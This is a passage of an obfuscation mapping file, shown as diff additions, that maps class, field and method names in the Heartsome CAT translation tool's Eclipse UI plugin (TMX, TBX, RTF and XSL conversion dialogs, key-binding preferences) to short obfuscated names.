+net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.cf: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.cg: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.ch: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.ci: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$7 -> net.heartsome.cat.ts.ui.plugin.dialog.cj: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$8 -> net.heartsome.cat.ts.ui.plugin.dialog.ck: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$9 -> net.heartsome.cat.ts.ui.plugin.dialog.cl: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog -> net.heartsome.cat.ts.ui.plugin.dialog.cm: + java.lang.String filePath -> filePath + org.eclipse.swt.widgets.Text txtFile -> GT + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog this$0 -> IG + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + java.lang.String getFilePath() -> getFilePath + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog,java.lang.String) -> a + java.lang.String access$2(net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog) -> b +net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.cn: + net.heartsome.cat.ts.ui.plugin.dialog.TBXMakerDialog$ExportDialog this$1 -> IH + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog -> net.heartsome.cat.ts.ui.plugin.dialog.co: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text tmxTxt -> II + org.eclipse.swt.widgets.Text txtTxt -> IJ + com.ximpleware.VTDNav vn -> vn + java.io.FileOutputStream output -> dR + int tuNodesCount -> IK + int workInterval -> mO + java.lang.String imagePath -> B + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + void createMenu(org.eclipse.swt.widgets.Composite) -> z + void createContent(org.eclipse.swt.widgets.Composite) -> createContent + void selecteTMXFile() -> hM + void selecteTXTFile() -> hN + void convert() -> hO + int openFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> g + boolean validVersion(java.lang.String) -> dK + void writeHeader() -> writeHeader + void writeString(java.lang.String) -> writeString + org.eclipse.core.runtime.IStatus processTU(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + java.lang.String getAttributeValue(java.lang.String,java.lang.String) -> getAttributeValue + int getTUCount(java.lang.String) -> dL + java.lang.String cleanString(java.lang.String) -> cleanString + java.lang.String replaceToken(java.lang.String,java.lang.String,java.lang.String) -> replaceToken + boolean monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> monitorWork + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog) -> b + void access$2(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog) -> c + int access$3(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + boolean access$4(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,java.lang.String) -> a + int access$5(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,java.lang.String) -> b + void access$6(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,int) -> a + void access$7(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,java.io.FileOutputStream) -> a + java.io.FileOutputStream access$8(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog) -> d + void access$9(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog) -> e + org.eclipse.core.runtime.IStatus access$10(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog,java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + org.slf4j.Logger access$11() -> hP +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.cp: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.cq: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.cr: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.cs: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.ct: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + java.lang.String val$tmxLocation -> IM + java.lang.String val$txtLocation -> IN + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog access$0(net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5) -> a +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5$1 -> net.heartsome.cat.ts.ui.plugin.dialog.cu: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5 this$1 -> IO + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5$2 -> net.heartsome.cat.ts.ui.plugin.dialog.cv: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5 this$1 -> IO + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5$3 -> net.heartsome.cat.ts.ui.plugin.dialog.cw: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5 this$1 -> IO + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5$4 -> net.heartsome.cat.ts.ui.plugin.dialog.cx: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$5 this$1 -> IO + void run() -> run +net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.dl: + net.heartsome.cat.ts.ui.plugin.dialog.TMX2TXTConverterDialog this$0 -> IL + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog -> net.heartsome.cat.ts.ui.plugin.dialog.cy: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String openFilePath -> HK + java.lang.String clearCharPath -> IQ + org.eclipse.swt.custom.StyledText styledText -> IR + org.eclipse.swt.graphics.Color red -> GC + org.eclipse.swt.graphics.Cursor cursorWait -> DE + org.eclipse.swt.graphics.Cursor cursorArrow -> DF + java.lang.String imagePath -> B + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu(org.eclipse.swt.widgets.Composite) -> z + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void openFile() -> openFile + void validate(java.lang.String) -> validate + void cleanCharacters() -> hQ + void clean(java.lang.String) -> dM + java.lang.String getXMLEncoding(java.lang.String) -> f + java.lang.String validChars(java.lang.String) -> validChars + boolean close() -> close + void access$0(net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog) -> b + java.lang.String access$2(net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog) -> c +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.cz: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.da: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.db: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.dc: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.dd: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.de: + net.heartsome.cat.ts.ui.plugin.dialog.TMXValidatorDialog this$0 -> IS + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog -> net.heartsome.cat.ts.ui.plugin.dialog.df: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text txtSource -> IT + org.eclipse.swt.widgets.Button btnSource -> IU + org.eclipse.swt.widgets.Text txtXSL -> IV + org.eclipse.swt.widgets.Button btnXSL -> IW + org.eclipse.swt.widgets.Text txtTarget -> IX + org.eclipse.swt.widgets.Button btnTarget -> IY + org.eclipse.swt.widgets.Button btnOpenFile -> IZ + java.lang.String imagePath -> B + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void initListener() -> initListener + void openFileDialog(org.eclipse.swt.widgets.Text,int,java.lang.String,java.lang.String[],java.lang.String[]) -> a + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + void transform(java.lang.String,java.lang.String,java.lang.String) -> j + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog) -> b + void access$2(net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog,org.eclipse.swt.widgets.Text,int,java.lang.String,java.lang.String[],java.lang.String[]) -> a + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog) -> c + org.eclipse.swt.widgets.Text access$4(net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog) -> d +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.dg: + net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog this$0 -> Ja + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.dh: + net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog this$0 -> Ja + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.di: + net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog this$0 -> Ja + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.dj: + net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog this$0 -> Ja + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.dk: + net.heartsome.cat.ts.ui.plugin.dialog.XSLTransformationDialog this$0 -> Ja + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.handler.CSV2TMXConverterHandler -> net.heartsome.cat.ts.ui.plugin.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.Martif2TBXConverterHandler -> net.heartsome.cat.ts.ui.plugin.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.PluginConfigurationHandler -> net.heartsome.cat.ts.ui.plugin.handler.c: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.PluginHandler -> net.heartsome.cat.ts.ui.plugin.handler.d: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.RTFCleanerHandler -> net.heartsome.cat.ts.ui.plugin.handler.e: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.TBXMakerHandler -> net.heartsome.cat.ts.ui.plugin.handler.f: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.handler.XSLTransformationHandler -> net.heartsome.cat.ts.ui.plugin.handler.g: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.ts.ui.plugin.resource.Messages -> net.heartsome.cat.ts.ui.plugin.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.plugin.util.Martif2Tbx -> net.heartsome.cat.ts.ui.plugin.util.a: + java.lang.String tbxLangDescriptor -> Jb + java.lang.String martifLangDescriptor -> Jc + java.lang.String idDescriptor -> Jd + java.io.FileOutputStream fos -> Je + void createDocument(java.lang.String,java.lang.String) -> K + void writeString(java.lang.String) -> writeString + void removeDocTypeDeclaration(java.lang.String,java.lang.String) -> L + void convertFile(java.lang.String,java.lang.String) -> M + java.lang.String getChildElementPureText(com.ximpleware.VTDNav) -> b +net.heartsome.cat.ts.ui.plugin.util.PluginUtil -> net.heartsome.cat.ts.ui.plugin.util.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String getAbsolutePath(java.lang.String) -> dN + java.lang.String getCataloguePath() -> hR + java.lang.String getTemplatePath() -> getTemplatePath + java.lang.String getConfigurationFilePath(java.lang.String) -> dO + void createLabel(org.eclipse.swt.widgets.Composite,java.lang.String) -> a +net.heartsome.cat.ts.ui.plugin.util.RTFCleaner -> net.heartsome.cat.ts.ui.plugin.util.c: + org.slf4j.Logger LOGGER -> LOGGER + java.io.FileInputStream input -> ei + java.io.FileOutputStream output -> dR + java.lang.String content -> o + java.util.Hashtable styles -> Jf + java.util.Hashtable chars -> Jg + int EOFStyles -> Jh + java.util.Vector run(java.util.Hashtable) -> d + void fillChars() -> hS + void removeHidden() -> hT + java.lang.String getControl(java.lang.String) -> bh + void buildStyleSheet() -> hU +net.heartsome.cat.ts.ui.plugin.util.TBXTemplateUtil -> net.heartsome.cat.ts.ui.plugin.util.d: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Vector items -> items + java.lang.String templateFileName -> Ji + java.lang.String templatePath -> templatePath + net.heartsome.xml.Document document -> Jj + java.lang.String teLevel -> teLevel + java.lang.String lsLevel -> lsLevel + java.lang.String termLevel -> termLevel + java.lang.String termNoteSpec -> termNoteSpec + java.lang.String descripSpec -> descripSpec + java.lang.String adminSpec -> adminSpec + java.lang.String getTemplateFileName() -> getTemplateFileName + void loadTemplate(java.lang.String) -> dP + int getItemCount() -> getItemCount + java.lang.String getItemLevels(int) -> getItemLevels + java.lang.String getSpecName(int) -> getSpecName + java.lang.String getItemDescription(int) -> getItemDescription + java.lang.String getItemName(int) -> getItemName + java.util.Vector getTemplateFiles(java.lang.String,java.lang.String,boolean) -> b + java.util.Vector getTemplateFiles(java.lang.String,boolean) -> getTemplateFiles + java.lang.String[] getTemplateFiles(java.lang.String,java.lang.String) -> N +net.heartsome.cat.ts.ui.preferencepage.BindingModel2 -> net.heartsome.cat.ts.ui.preferencepage.BindingModel2: + java.lang.String PROP_BINDING_ADD -> PROP_BINDING_ADD + java.lang.String PROP_BINDING_ELEMENT_MAP -> PROP_BINDING_ELEMENT_MAP + java.lang.String PROP_BINDING_FILTER -> PROP_BINDING_FILTER + java.lang.String PROP_BINDING_REMOVE -> PROP_BINDING_REMOVE + java.lang.String PROP_BINDINGS -> PROP_BINDINGS + java.lang.String PROP_CONFLICT_ELEMENT_MAP -> PROP_CONFLICT_ELEMENT_MAP + java.util.Collection allParameterizedCommands -> Jk + org.eclipse.jface.bindings.BindingManager bindingManager -> Jl + java.util.HashSet bindingElements -> Jm + java.util.Map bindingToElement -> Jn + java.util.Map commandToElement -> Jo + boolean deletes(org.eclipse.jface.bindings.Binding,org.eclipse.jface.bindings.Binding) -> a + void copy() -> copy + void copy(org.eclipse.ui.internal.keys.model.BindingElement) -> copy + java.util.HashSet getBindings() -> getBindings + java.util.Map getBindingToElement() -> getBindingToElement + java.util.Map getCommandToElement() -> getCommandToElement + void init(org.eclipse.ui.services.IServiceLocator,org.eclipse.jface.bindings.BindingManager,org.eclipse.ui.internal.keys.model.ContextModel) -> init + void refresh(org.eclipse.ui.internal.keys.model.ContextModel,java.util.List) -> refresh + void remove() -> remove + void remove(org.eclipse.ui.internal.keys.model.BindingElement) -> remove + void restoreBinding(org.eclipse.ui.internal.keys.model.BindingElement) -> restoreBinding + void restoreBinding(org.eclipse.ui.internal.keys.model.ContextModel) -> restoreBinding + void setBindings(java.util.HashSet) -> setBindings + void setBindingToElement(java.util.Map) -> setBindingToElement +net.heartsome.cat.ts.ui.preferencepage.CategoryPatternFilter -> net.heartsome.cat.ts.ui.preferencepage.CategoryPatternFilter: + boolean filterCategories -> Jp + org.eclipse.core.commands.Category uncategorized -> Jq + void filterCategories(boolean) -> filterCategories + boolean isFilteringCategories() -> isFilteringCategories + boolean isLeafMatch(org.eclipse.jface.viewers.Viewer,java.lang.Object) -> isLeafMatch + org.eclipse.core.commands.ParameterizedCommand getCommand(java.lang.Object) -> c +net.heartsome.cat.ts.ui.preferencepage.ConflictModel2 -> net.heartsome.cat.ts.ui.preferencepage.ConflictModel2: + java.util.Collection conflicts -> ahc + org.eclipse.jface.bindings.BindingManager bindingManager -> Jl + org.eclipse.ui.internal.keys.model.BindingModel bindingModel -> ahd + java.util.Map conflictsMap -> ahe + java.util.Collection getConflicts() -> getConflicts + void setConflicts(java.util.Collection) -> setConflicts + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> updateConflictsFor + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> a + void updateConflictsFor(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.jface.bindings.TriggerSequence,org.eclipse.jface.bindings.TriggerSequence,boolean) -> updateConflictsFor + void init(org.eclipse.jface.bindings.BindingManager,org.eclipse.ui.internal.keys.model.BindingModel) -> init + java.util.Map access$0(net.heartsome.cat.ts.ui.preferencepage.ConflictModel2) -> a + void access$1(net.heartsome.cat.ts.ui.preferencepage.ConflictModel2,org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.ui.internal.keys.model.BindingElement,boolean) -> a +net.heartsome.cat.ts.ui.preferencepage.ConflictModel2$1 -> net.heartsome.cat.ts.ui.preferencepage.ConflictModel2$1: + net.heartsome.cat.ts.ui.preferencepage.ConflictModel2 this$0 -> ahf + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange +net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants -> net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants: + java.lang.String LANGUAGECODE -> LANGUAGECODE + java.lang.String IGNORABLE_CHARS -> IGNORABLE_CHARS + java.lang.String TAG_PENALTY -> TAG_PENALTY + java.lang.String LAST_DIRECTORY -> LAST_DIRECTORY + java.lang.String AUTOMATIC_OO -> AUTOMATIC_OO + java.lang.String SYSTEM_AUTO_UPDATE -> SYSTEM_AUTO_UPDATE + int SYSTEM_CHECK_UPDATE_WITH_STARTUP -> SYSTEM_CHECK_UPDATE_WITH_STARTUP + int SYSTEM_CHECK_UPDATE_WITH_MONTHLY -> SYSTEM_CHECK_UPDATE_WITH_MONTHLY + java.lang.String SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE -> SYSTEM_CHECK_UPDATE_WITH_MONTHLY_DATE + int SYSTEM_CHECK_UPDATE_WITH_WEEKLY -> SYSTEM_CHECK_UPDATE_WITH_WEEKLY + java.lang.String SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE -> SYSTEM_CHECK_UPDATE_WITH_WEEKLY_DATE + int SYSTEM_CHECK_UPDATE_WITH_NEVER -> SYSTEM_CHECK_UPDATE_WITH_NEVER + java.lang.String SYSTEM_LANGUAGE -> SYSTEM_LANGUAGE + int SYSTEM_LANGUAGE_WITH_EN -> SYSTEM_LANGUAGE_WITH_EN + int SYSTEM_LANGUAGE_WITH_ZH_CN -> SYSTEM_LANGUAGE_WITH_ZH_CN + java.lang.String SYSTEM_USER -> SYSTEM_USER + java.lang.String XLIFF_EDITOR_FONT_NAME -> XLIFF_EDITOR_FONT_NAME + java.lang.String XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER -> XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER + java.lang.String XLIFF_EDITOR_FONT_SIZE -> XLIFF_EDITOR_FONT_SIZE + java.lang.String MATCH_VIEW_FONT_NAME -> MATCH_VIEW_FONT_NAME + java.lang.String MATCH_VIEW_FONT_SIZE -> MATCH_VIEW_FONT_SIZE + java.lang.String NEW_PROJECT_SRC_LANG -> NEW_PROJECT_SRC_LANG + java.lang.String NEW_PROJECT_TGT_LANG -> NEW_PROJECT_TGT_LANG + java.lang.String INITIAL_RUN -> INITIAL_RUN +net.heartsome.cat.ts.ui.preferencepage.KeyController2 -> net.heartsome.cat.ts.ui.preferencepage.KeyController2: + java.lang.String DELIMITER -> DELIMITER + java.lang.String ESCAPED_QUOTE -> Jr + java.lang.String REPLACEMENT -> Js + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + org.eclipse.core.runtime.ListenerList eventManager -> Jt + org.eclipse.jface.bindings.BindingManager fBindingManager -> Ju + org.eclipse.ui.internal.keys.model.ContextModel contextModel -> Jv + org.eclipse.ui.internal.keys.model.SchemeModel fSchemeModel -> Jw + net.heartsome.cat.ts.ui.preferencepage.BindingModel2 bindingModel -> Jx + boolean notifying -> Jy + net.heartsome.cat.ts.ui.preferencepage.ConflictModel2 conflictModel -> ahg + org.eclipse.ui.services.IServiceLocator serviceLocator -> serviceLocator + org.eclipse.core.runtime.ListenerList getEventManager() -> hV + void setNotifying(boolean) -> setNotifying + boolean isNotifying() -> isNotifying + void firePropertyChange(java.lang.Object,java.lang.String,java.lang.Object,java.lang.Object) -> firePropertyChange + void addPropertyChangeListener(org.eclipse.jface.util.IPropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(org.eclipse.jface.util.IPropertyChangeListener) -> removePropertyChangeListener + void init(org.eclipse.ui.services.IServiceLocator,java.util.List) -> init + void filterDupliteBind() -> filterDupliteBind + org.eclipse.jface.bindings.BindingManager loadModelBackend(org.eclipse.ui.services.IServiceLocator) -> a + org.eclipse.ui.internal.keys.model.ContextModel getContextModel() -> getContextModel + org.eclipse.ui.internal.keys.model.SchemeModel getSchemeModel() -> getSchemeModel + net.heartsome.cat.ts.ui.preferencepage.BindingModel2 getBindingModel() -> getBindingModel + net.heartsome.cat.ts.ui.preferencepage.ConflictModel2 getConflictModel() -> getConflictModel + void addSetContextListener() -> hW + void addSetBindingListener() -> hX + void addSetConflictListener() -> hY + void addSetKeySequenceListener() -> hZ + void addSetModelObjectListener() -> ia + void addSetSchemeListener() -> ib + void changeScheme(org.eclipse.ui.internal.keys.model.SchemeElement,org.eclipse.ui.internal.keys.model.SchemeElement) -> changeScheme + void updateBindingContext(org.eclipse.ui.internal.keys.model.ContextElement) -> a + void updateTrigger(org.eclipse.ui.internal.keys.model.BindingElement,org.eclipse.jface.bindings.keys.KeySequence,org.eclipse.jface.bindings.keys.KeySequence) -> updateTrigger + void saveBindings(org.eclipse.ui.keys.IBindingService) -> saveBindings + void logPreferenceStoreException(java.lang.Throwable) -> a + void filterContexts(boolean,boolean,boolean) -> filterContexts + void setDefaultBindings(org.eclipse.ui.keys.IBindingService,java.util.List) -> 